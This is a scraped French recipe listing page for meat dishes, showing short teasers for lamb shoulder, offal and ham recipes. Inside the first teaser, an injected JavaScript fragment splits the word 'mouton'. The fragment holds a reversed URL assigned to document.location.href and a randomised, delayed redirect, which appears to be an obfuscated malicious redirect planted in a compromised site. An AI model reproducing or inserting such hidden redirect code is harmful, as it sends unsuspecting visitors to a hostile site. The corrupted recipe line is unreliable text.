Catégorie : Viandes
Épaule d’agneau aux raisins
Coupez l’épaule de moutobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}ton en cubes. Rincez les raisins, ...
Christine.. Lire la suiteÉpaule d’agneau au four
Désossez ou la faire désossée par le boucher. Salez et poivrez l’épaule et la ficeler.
Christine.. Lire la suiteÉpaule d’agneau farcie aux figues
Enlevez le pédoncule des figues, ouvrez-les en deux et faites-les tremper dans de l’eau tiède ...
Christine.. Lire la suiteBrochettes de parme et de melon
Coupez-les melons en deux. Ôtez les graines. Avec une petite cuillère à café, faites des ...
Christine.. Lire la suiteFeuilleté au foie gras
Coupez le foie gras en 6 parts égales. Coupez-la en très fines rondelles. Déroulez la ...
Christine.. Lire la suiteFigues farcies au jambon
Coupez le jambon blanc et jambon cru en petits dés. Pelez, émincez l’échalote. Mixez jambon ...
Christine.. Lire la suiteTimbale de riz au foie de volaille
Dans une grande quantité d’eau bouillante salée, plongez le riz, faites le cuire en respectant ...
Christine. Lire la suiteRis de veau aux pleurotes
Dans un saladier d’eau froide, plongez les ris de veau et laissez dégorger pendant 4 ...
Christine. Lire la suitePoêlé de foie de veau
Pelez, émincez les oignons. Dans une poêle avec 2 cuillères à soupe d’huile d’arachide, faites ...
Christine. Lire la suiteCœurs de porc braisés
Pelez, coupez en deux les gousses d’ail. Ôtez le germe. Lavez essorez le bouquet de ...
Christine. Lire la suiteLes Recettes
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